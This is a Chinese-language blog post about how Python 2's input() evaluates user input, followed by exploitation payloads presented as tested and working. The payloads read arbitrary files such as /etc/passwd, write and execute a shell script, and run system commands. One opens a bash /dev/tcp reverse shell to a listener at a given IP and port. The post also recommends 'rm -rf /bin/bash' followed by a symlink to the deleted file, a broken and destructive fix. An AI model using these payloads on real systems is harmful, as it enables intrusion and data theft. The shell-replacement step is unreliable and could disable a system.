使用python获取用户键盘输入的函数有input()和raw_input(),其中raw_input()在python3中已经舍弃了。所以使用python3获取用户输入一般使用input()函数,在python3中input()默认把接收的数据当作str型处理,但在python2中,input()期待的输入是整型,如果需要接收字符串,需要手动用单引号包围。
演示代码:import os,sys
def foo():
print('foo')
return 'foobar'
def bar(x,y):
result = x + y
return result
print(sys.version)
while 1:
data = input('input:')
print(type(data))
print(data)
python3.x
python3.x所有输入默认当作str处理
python2.x
但在python2.x中,input()接收的数据会附带执行效果,效果类似eval(raw_input(prompt))
简单修改一下,加点小过滤测试一下:
发现输入foo()能调用foo()函数,尽管输入值与返回值都不存在整型,但能调用。
后续测试验证了input()接收的数据当用户按下回车后即开始运行了,所以无法先对输入进行过滤,感觉是个很危险的点。但网站搭建python估计也是用表单传递,相对而言是ssti注入(带回显)。input()如果是用作接收脚本指令的话,一般不带回显,直接按照输入执行。(一时也想不出好的运用场景)。
关于利用
贴上一条SSTI读文件的payload,亲测可用:''.__class__.__mro__.__getitem__(2).__subclasses__()[40]('/etc/passwd').read() # 任意文件读取
简单一点,任意文件读取:open('/etc/passwd').read() # 任意文件读取
写入文件并执行(无回显适用):open('shell.py','a').write("import os\nos.system('whoami')") # 文件写入,命令写入
execfile('shell.py') # 调用脚本,python2内置函数
条件允许的话(脚本自身import os,subprocess这些能调用系统shell的库),使用os或subprocess库函数调用系统命令尝试建立反弹shell。由于无法找到合适的多行输入,所以很难构造合适的payload。
最后兜兜转转,发现可以使用下面的形式来自行导入外部库,执行shell:__import__('os').system('whoami') # 查询运行用户
__import__('os').system('bash -i >& /dev/tcp/192.168.171.130/9999 0>&1') # 建立反弹shell,IP与端口自行修改,在靶机上开启nc -lvvp 9999监听
但测试中出现了bad fd number,根据谷歌的一劳永逸大法,在靶机执行:rm -rf /bin/bash
ln -s /bin/bash /bin/sh
再次启动,测试反弹shell,成功建立连接。
相关